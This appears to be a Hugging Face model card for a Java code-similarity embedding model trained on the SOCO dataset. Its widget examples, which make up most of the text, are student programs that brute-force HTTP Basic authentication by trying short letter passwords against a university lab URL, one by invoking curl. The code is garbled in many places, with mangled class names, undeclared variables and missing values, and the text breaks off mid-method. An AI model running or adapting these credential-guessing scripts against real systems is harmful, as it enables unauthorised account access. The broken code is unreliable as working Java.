Model: buelfhood/SOCO-Java-UniXcoder-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:microsoft/unixcoder-base-unimodal, base_model:finetune:microsoft/unixcoder-base-unimodal, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/unixcoder-base-unimodal
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget: source_sentence: 
package java.httputils;

import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Observable;
import java.util.Observer;


public class BruteForceThreadPool extends ThreadGroup implements Observer
{
    protected String URL = "http://localhost:8080/secret/index.html";
    protected int poolSize = 6;

    protected Collection threadList = new ArrayList();
    protected String fileName = "BruteForceReport.txt";
    protected boolean finished = false;
    protected String userName = "";
    
    public BruteForceThreadPool(String name)
    {
        super(name);
    }

    
    public BruteForceThreadPool(ThreadGroup parent, String name)
    {
        super(parent, name);
    }

    
    public synchronized void update(Observable o, Object arg)
    {
        
        System.out.println("Update method called  the observer.");
        RunnableBruteForce rbf = (RunnableBruteForce) o;
        rbf.createReport();

        
        
        for (Iterator iter = threadList.iterator(); iter.hasNext();)
        {
            RunnableBruteForce target = (RunnableBruteForce) iter.next();
            target.setStop(true);
        }
        finished = true;
    }


    
    protected void start(int threads)
    {
        
        
        int load = BruteForce.letters.length / threads;
        int remainder = BruteForce.letters.length % threads;

        
        for (int i = 0, end = ( + load);
            end < BruteForce.letters.length;
            i = end, end += load)
        {
            RunnableBruteForce runnable = new RunnableBruteForce();
            runnable.setURL(getURL());
            runnable.setRangeStart();
            runnable.setUserName(userName);
            
            runnable.setRangeEnd(
                end + load > BruteForce.letters.length ?
                BruteForce.letters.length :
                end);

            runnable.addObserver(this);
            runnable.setFileName(getFileName());
            
            threadList.add(runnable);
        }

        
        for (Iterator iter = threadList.iterator(); iter.hasNext();)
        {
            RunnableBruteForce target = (RunnableBruteForce) iter.next();
            new Thread(target).start();
        }

    }

    public static void main(String[] args)
    {
        BruteForceThreadPool pool = new BruteForceThreadPool("BruteForceThreadGroup");

        if (args.length < 4)
        {
            pool.printUsage();
            return;
        }
        pool.setURL(args[0]);
        pool.userName = args[1];
        pool.setFileName(args[2]);

        pool.get(Integer.parseInt(args[3]));
        while (true)
        {
            try
            {
                Thread.currentThread().sleep(100);
                if (pool.finished)
                {
                    break;
                }
            }
            catch (InterruptedException e)
            {
                e.printStackTrace();
            }
        }

        System.exit(0);
    }


    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** BruteForceThreadPool proper usage **\n\n");
        s.append(
            "java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n");

        return s.toString();
    }

    
    public Collection getThreadList()
    {
        return threadList;
    }

    
    public void setThreadList(Collection collection)
    {
        threadList = collection;
    }


    
    public String getFileName()
    {
        return fileName;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public int getPoolSize()
    {
        return poolSize;
    }

    
    public void setPoolSize(int i)
    {
        poolSize = i;
    }

}

sentences: 

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class BruteForce   {
  
  
  
  String passwordLetters[] ={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
  String password="  ";
  static int counter;
  static int noOfAttempts;
  static String userName="";
  HttpURLConnection u;
  boolean threadF,threadM;
  String passBase64;
  
  PasswordCrackThreadF passwordCrackThreadF;
  PasswordCrackThreadM passwordCrackThreadM;
  URL   url;
  
  
  public BruteForce() {
    breakPassword();
  }

  public static void main (String args[])  {
    new BruteForce();
  }
  
  
  
  private void  breakPassword() {
    int j;
    
    breakOneLetterPassword();
    
    breakTwoLetterPassword();
    
    
    

    passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadM  = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadF.print();
    passwordCrackThreadM.print();
  }
  
  
  private void breakOneLetterPassword() {       
     MyHttpURLConnection    httpURLConnection;
     try {
	   
	    url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	   
	   passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
           u = (HttpURLConnection)url.openConnection();
	   u.setRequestProperty("Authorization", " " + passBase64);
     } catch  (IOException  io) {io.printStackTrace();}
         
         loop: for (int i=0;i<52;i++) {
                   password = passwordLetters[i];
		   
		   password =":"+ password;
                   try {
                   
	  	       u=  (HttpURLConnection)url.openConnection();
		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                       u.setRequestProperty("Authorization", " " + passBase64);
		       u.connect();	
		       noOfAttempts++;  
		       if (u.getContentLength() != 0) {
		             
		             if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
		         
	                         System.out.println ("Your User Name : Password is  "+password);
				 System.out.println("   ");
			         System.out.println(" of Attempts / Requests "+ noOfAttempts);
			  
			         System.exit(0);
                     
	                     }
		       }
		   } catch  (ProtocolException  px) {px.printStackTrace();
                   
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
        }   
  }
  
  
  private void breakTwoLetterPassword() {   
      MyHttpURLConnection    httpURLConnection;       
      try {
	   
	    url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	   
	    passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
            u = (HttpURLConnection)url.openConnection();
	    u.setRequestProperty("Authorization", " " + passBase64);
      } catch  (IOException  io) {io.printStackTrace();}

      
      loop: for (int i=0;i<52;i++) {
                for (int j=0;j<52;j++) {
                   password = passwordLetters[i]+passwordLetters[j];
		    
		   password =":"+ password;
		   
		   
	          
                   try {
		        u=  (HttpURLConnection)url.openConnection();
			 passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty("Authorization", " " + passBase64);
			u.connect();
			noOfAttempts++;
			
            	        if (u.getContentLength() != 0) {
		           if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
	                      System.out.println ("Your User Name : Password is  "+password); 
			      System.out.println("   ");
			      System.out.println(" of Attempts / Requests "+ noOfAttempts);
			  
			      System.exit(0);
	                   }
		        }
		   
		
	           } catch  (ProtocolException  px) {px.printStackTrace();
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
               }  
      }


  }
}

class PasswordCrackThreadF extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password="  ";
   private static String userName="";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   
   BruteForce bruteForce;
   int count;    
   String passBase64;
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   PasswordCrackThreadF(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
       this.bruteForce=bruteForce; 
       bruteForce.threadF=true;
	
       
       passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());
       try {
	     
	     url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	    

	     u = (HttpURLConnection)url.openConnection();
             
	     u.setRequestProperty("Authorization", " " + passBase64);
	  

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password =":"+ password;
			 
			
			
			  while (!(bruteForce.threadF)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }  
			   
			  if (found)
			      System.exit(0);
                          try {   
			        u = (HttpURLConnection)url.openConnection();
			        passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                u.setRequestProperty("Authorization", " " + passBase64);
			         

			
                                u.connect();
				
		                BruteForce.noOfAttempts++;

		                if (u.getContentLength() != 0) {

		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				 
				 
					
					  
					
		                        System.out.println ("Your User Name : Password is  "+password+ 
		                                 "   "+ " Found by Thread  "+count);
					System.out.println("   ");
			                System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
				      	 
               		               System.exit(0);

	                            }
		               }
		   
		 		 
	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			    nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=false;
			 bruteForce.threadM=true;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println("End");
  }
 }
}


class PasswordCrackThreadM extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password="  ";
   private static String userName="";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   String passBase64;
   private URLAuthenticator  urlAuthenticator =  new URLAuthenticator(userName);
   BruteForce bruteForce;
   int count;    
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   
   
   PasswordCrackThreadM(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
        this.bruteForce=bruteForce; 
       try {
	     
	     url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	     
             u = (HttpURLConnection)url.openConnection();
	     passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
               
	     u.setRequestProperty("Authorization", " " + passBase64);

	     

	     
	     

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password=":"+password;
			
	                 
			
			
			  while  (!(bruteForce.threadM)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }
			     
			   
			  if (found)
			      System.exit(0);
                          try {   u = (HttpURLConnection)url.openConnection();
			 
                                  passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty("Authorization", " " + passBase64);
			         

			
                                  u.connect();
                                  BruteForce.noOfAttempts++;
		               
		                 if (u.getContentLength() != 0) {
			           
		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				      
				   
					
					  
					
		                        System.out.println ("Your User Name : Password is  "+password+ 
		                                 "   "+ " Found by Thread  "+count);
				      	 
					 
					System.out.println("   ");
			                System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
               		                System.exit(0);

	                            }
		                }
		   
		 		 
	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			       nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=true;

			 
			 bruteForce.threadM=false;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println("End");
  }
 }
}







class URLAuthenticator  extends Authenticator {
   private String uName;
   String passwd;
   static  char[] password;
   public URLAuthenticator(String uName) {

     this.uName = uName;
   }

   public void setPassword(String passwd)  {

	 this.passwd=passwd;
	 password=passwd.toCharArray();

   }
   
   public PasswordAuthentication getPasswordAuthentication()  {

	
 	
	
	return new PasswordAuthentication(uName,password);
   }

}




 

class MyHttpURLConnection extends HttpURLConnection  {
    public MyHttpURLConnection(URL url) {
       super(url);
    }
    public void disconnect() {
    }

    public boolean usingProxy() {
        return true;
    }
    public void connect() {
    }

}

, 
import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;



public class BruteForce 
{
                                    
    
    
    private  int consonantUpperBound = CrackingConstants.consonantUpperBound;
    private  int consonantLowerBound = CrackingConstants.consonantLowerBound;
    private  int vowelUpperBound = CrackingConstants.vowelUpperBound;
    private  int vowelLowerBound = CrackingConstants.vowelLowerBound;
    
    
    
    
    private int verbose = CrackingConstants.quietMode;
    private int scanType = CrackingConstants.casedScan;

    private int passwordsTried = 0;
 
	
	
	public static void main(String args[])
	{
		 int tStart;
		 int tFinish;
 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
	        
	    BruteForce  pwForcer = new BruteForce();

	    if(args.length > 0)
	    {
	        for(int i = 0; i < args.length; i++)
	        {
        		if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1))
        		    {
        			System.out.println("\n-s  -S\tonly tests lower  passwords.");
        			System.out.println("\n-v\tprints the patterns as    tried.");
        			System.out.println("-V\tprints out the patterns and the passwords as    generated. \n\tThis option slows the program considerably.\n");
        			return;
        		    }	
        		else if(args[i].indexOf("-v") > -1) 
        		    pwForcer.verbose = CrackingConstants.verboseMode1;
        		else if(args[i].indexOf("-V") > -1)
        		    pwForcer.verbose = CrackingConstants.verboseMode2;
        		else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1))
        		    pwForcer.scanType = CrackingConstants.simpleScan;
		    }
	    }

        
	    System.out.println("\n\n********************************\n");
		System.out.println("Starting brute force run at " + 
		    longTimestamp.format(new Date()));
		if(args.length > 0)
		{
			String arguments = "";
			for( i =0; i < args.length; i++)
				arguments += args[i] + " ";
			System.out.println("\nOptions: " + arguments + "\n");
		}
		if(pwForcer.scanType == CrackingConstants.simpleScan)
    	    System.out.println("Only lower  passwords  tried.");
    	else
    	    System.out.println("Both lower and upper  passwords  tried.");
	    System.out.println("\n********************************\n");

	    tStart = System.currentTimeMillis();
	    pwForcer.run();
	    tFinish = System.currentTimeMillis();
	    
        if (pwForcer.scanType == CrackingConstants.casedScan)
        {
	        
    	    
	        
	        
	        System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26 * 8) + ")");
	        System.out.println ("That is " + pwForcer.passwordsTried/8  + " unique three letter combinations were tried (out of a possible " + (26 * 26 * 26) + ")");
        }
        else
        {
    	    System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26) + ")\n");
        }
        
	    
	    System.out.println("\n********************************\n");
		System.out.println("Finished brute force run at " + 
		    longTimestamp.format(new Date()));
		System.out.println("Time taken: " + ((tFinish - tStart)/1000) + " seconds");
	    System.out.println("\n********************************");
	}   

	
    public BruteForce()
    {
    }   

	
    private void run()
    {
        
        
         leftIndex = 0;
         midIndex = 0;
         rightIndex = 0;
        
        
		
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying stutters (AAA, aaa, etc.)");
        for( i = vowelLowerBound; i <= consonantUpperBound; i++)
        {
            leftIndex = i;
            midIndex = i;
            rightIndex = i;
            if(tryLogin(leftIndex, midIndex, rightIndex))
               return;
        }
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying consonant-vowel-consonant patterns.");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying consonant-vowel-vowel patterns.");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying vowel-consonant-vowel patterns.");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
    
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying vowel-consonant-consonant patterns.");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
    
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying vowel-vowel-consonant patterns.");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying consonant-consonant-vowel patterns.");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying  remaining vowel-vowel-vowel patterns.");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
                    {
                        
                    }
                    else
                    {
                        if(tryLogin(leftIndex, midIndex, rightIndex))
                            return;
                    }
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying  remaining consonant-consonant-consonant patterns.");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
                    {
                        
                    }
                    else
                    {
                        if(tryLogin(leftIndex, midIndex, rightIndex))
                            return;
                    }
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying monographs (A, a, etc.)");
        for ( i = 0; i <= consonantUpperBound; i++)
        {
            leftIndex = i;
            midIndex = -1;
            rightIndex = -1;
            if(tryLogin(leftIndex, midIndex, rightIndex))
               return;
        }
        
        
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println("Trying bigraphs (AA, aa, etc.)");
        for( i = 0; i <= consonantUpperBound; i++)
        {
        	for( j = 0; j <= consonantUpperBound; j++)
        	{
            	leftIndex = i;
            	midIndex = j;
        	    rightIndex = -1;
    	        if(tryLogin(leftIndex, midIndex, rightIndex))
	               return;
            }
        }
        
        return;
     }   

	
    private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)
    {
        
        LoginAttempt login = new LoginAttempt();
        LoginAttemptResults results = new LoginAttemptResults();

        
        CasePasswords casedPasswords = new CasePasswords(verbose);

        
        
        String tail = "";

        results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
        passwordsTried = results.getPasswordsTried();
        return results.getSuccess();
    }
         
} 
, 



public class HoldSharedData
{
    private int      numOfConnections = 0;
    private   int   startTime;
    private   int   totalTime = 0;
    private String[] password;
    private int      pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
        startTime = time;

        password = pwd;
        pwdCount = count;
    }

    public int getPwdCount()
    {
        return pwdCount;
    }

    public void setNumOfConnections( )
    {
        numOfConnections ++;
    }

    public int getNumOfConnections()
    {
        return numOfConnections;
    }

    public int getStartTime()
    {
        return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
        totalTime = newTotalTime;
    }

    public int  getTotalTime()
    {
        return totalTime;
    }

    public String getPasswordAt( int index )
    {
        return password[index];
    }
}  
, source_sentence: 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class BruteForce {
 public static void main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       int start = new Date().getTime();
      String[] letters = {"a","A","b","B","c","C","d","D","e","E","f","F","g","G",
                          "h","H","i","I","j","J","k","K","l","L","m","M","n","N",
			  "o","O","p","P","q","Q","r","R","s","S","t","T","u","U",
			  "v","V","w","W","x","X","y","Y","z","Z"};
      int len = 52;
      int total = 52;
      String[] cad = new String[total];
      int t=0;
      
      for (int i=0;i<=len-1;i++){
	 cad[t] = letters[i];
	 t++;
      } 
      for (int i=0;i<=len-1;i++){
         for (int j=0;j<=len-1;j++){
	    cad[t] = letters[j]+letters[i];
	    t++;
      }}
      for (int i=0;i<=len-1;i++){
       for (int j=0;j<=len-1;j++){
        for (int k=0;k<=len-1;k++){
	   cad[t] = letters[k]+letters[j]+letters[i];
	   t++;
      }}}
            
       int response = 0;
       for (t=0;t<=total-1;t++){
        String uname = "";
        String userinfo = uname + ":" + cad[t];
        try{
         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty ("Authorization", " " + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println("Response "+t+" was "+response);
       System.out.println("The successful password was "+cad[t]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-start)/1000;
       System.out.println("Total time: "+totaltime+" seconds");
   }
}


sentences: 

class WebPage
{
    
    
    private boolean success = false;
    
    private String pageContents= "";
    

	
    public WebPage()
    {
    }
    
	
    public void setSuccess (boolean inSuccess)
    {
        success = inSuccess;
    }
    
	
    public boolean getSuccess()
    {
        return success;
    }
    
	
    public void setPageContents (String inPage)
    {
        pageContents = inPage;
    }
    
	
    public String getPageContents()
    {
        return pageContents;
    }
}   
, 
import java.util.*;


public class Cracker
{
   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private Vector v;

   public Cracker()
   {
      v = new Vector( 52);
   }
   public void loadLetters()
   {
      int i;

      for( i = 0; i < letters.length; i++)
      {
	 String s = new StringBuffer().append( letters[i]).toString();
         v.add( s);
      }
   }
   public Vector getVictor()
   {
      return ;
   }
   public void loadPairs()
   {
      int i,j;

      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
         {
            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
	    v.add( s1);
	    v.add( s2);
	 }
      }
      for( i = 0; i < letters.length; i++)
      {
         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
	 v.add( s3);
      }
   }
   public void loadTriples()
   {
      int i, j, k;
      
      for( i = 0; i < letters.length; i++)
      {
         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
	 v.add( s4);
      }
      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
	 {
	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
	    v.add( s5);
	    v.add( s6);
	    v.add( s7);
	    v.add( s8);
	    v.add( s9);
	    v.add( s10);
	 }
      }
      for( i = 0; i < letters.length - 2; i++)
      {
         for( j = i + 1; j < letters.length - 1; j++)
	 {
	    for( k = i + 2; k < letters.length; k++)
	    {
	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
	       v.add( s11);
	       v.add( s12);
	       v.add( s13);
	       v.add( s14);
	       v.add( s15);
	       v.add( s16);
	    }
	 }
      }
   }
         
   public static void main( String[] args)
   {
      Cracker cr = new Cracker();
      cr.loadLetters();
      cr.loadPairs();
      cr.loadTriples();
      System.out.println(" far "+cr.getVictor().size()+" elements loaded");
   }
}
      
, 

import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;

public class BruteForce {
  private static final int passwdLength = 3;      
  private static String commandLine
       = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
  private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  private int charLen = chars.length();           
  private int n = 0;                              
  private int n3 = charLen*charLen*charLen;       
  private String response;
  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
  private char[][] data = new char[passwdLength][charLen];
  private char[] pwdChar2 = new char[2];
  private char[] pwdChar = new char[passwdLength];
  private String url;
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public BruteForce() {

  first();
  finish = true;
  charLen = chars.length();
  for(int i=0; i<charLen; i++)
   for(int j=0; j<passwdLength; j++)
   {
    data[j][i] = chars.charAt(i);
   }
  Runtime run = Runtime.getRuntime();
  n = 0;

  
  for(int i=0; i<charLen; i++)
  {
    password[n++] = chars.substring(i,i+1);
  }

  
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar2[0] = data[0][j];
       pwdChar2[1] = data[1][k];
       password[n++] = String.copyValueOf(pwdChar2);
     }

  
  for(int i=0; i<charLen; i++)
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar[0] = data[0][i];
       pwdChar[1] = data[1][j];
       pwdChar[2] = data[2][k];
       password[n++] = String.copyValueOf(pwdChar);
     }
  n = 0;
  startTime = new Date().getTime();         
  try {
   while(true) {
    url = commandLine+password[n++];
    if(n>=n3) {
     System.out.println("\n  not find the password for user .");
     finish = false;
     break;
    }
    curl = run.exec(url);                  
    responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
    response = responseLine.readLine();
    
    
    if(response.substring(9,12).equals("200")) break;
    responseLine = null;
   }
  }
  catch(IOException ioe){
    System.out.println("\n IO Exception! \n");
    System.out.println("The current url is:"+ url);
    System.out.println("The current trying password is:"+password[n-1]);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println("   The response time is:"+ totalTime + "  seconds\n");
  if(finish) {
    System.out.println("   The password for  is:"+ password[n-1]);
    try {
    savePassword(password[n-1], totalTime);
    }
    catch (IOException ioec) {
       System.out.println("  not save the password  file BruteForce_pwd.txt ");
    }
  }
  }

  public void first() {

    System.out.println("\n\n---------------------------------------------------------------");
    System.out.println("  Use curl command  Brute Force the password for user .");
    System.out.println("   Attention: curl should  able  run at your directory");
    System.out.println("          without setting the Path for it.");
    System.out.println("---------------------------------------------------------------");
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
  outputStream.writeChars("The password is:");
  outputStream.writeChars(passwdString+"\n");
  outputStream.writeChars("The response time is: ");
  outputStream.writeChars(time1.toString(time));
  outputStream.writeChars(" seconds\n");
  outputStream.close();
  }

  public static void main(String[] args) {
